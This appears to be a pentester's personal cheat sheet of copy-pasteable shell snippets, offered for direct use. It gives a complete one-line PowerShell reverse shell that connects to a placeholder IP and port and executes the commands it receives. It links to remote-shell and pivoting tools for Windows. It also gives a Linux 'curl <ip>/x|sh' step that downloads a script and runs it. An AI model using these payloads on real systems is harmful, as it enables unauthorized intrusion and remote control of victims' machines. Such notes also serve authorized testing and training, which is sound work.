Cheats – Shells

This area contains a few of my notes & snippets I regularly use. They are meant to be easily copy-pasteable to get results.

Windows

PowerShell reverse-shell (based on this gist):

$client = New-Object System.Net.Sockets.TCPClient(<ip>",<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "[>] ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

rcat (similar to nc.exe):

https://github.com/xct/rcat

xc (more features than rcat: port-forwarding, ssh, up & downloads, lpe scripts etc.):

https://github.com/xct/xc

winssh (spawn a full ssh service as an unprivileged user):

https://github.com/xct/winssh

Linux

Resh (trying multiple ways to get a reverse-shell, based on resh.now.sh, host on your machine then execute curl <ip>/x|sh to grab and execute it):

https://gist.github.com/xct/ab71d58a29e9017eb38565e32aeb95b0

Web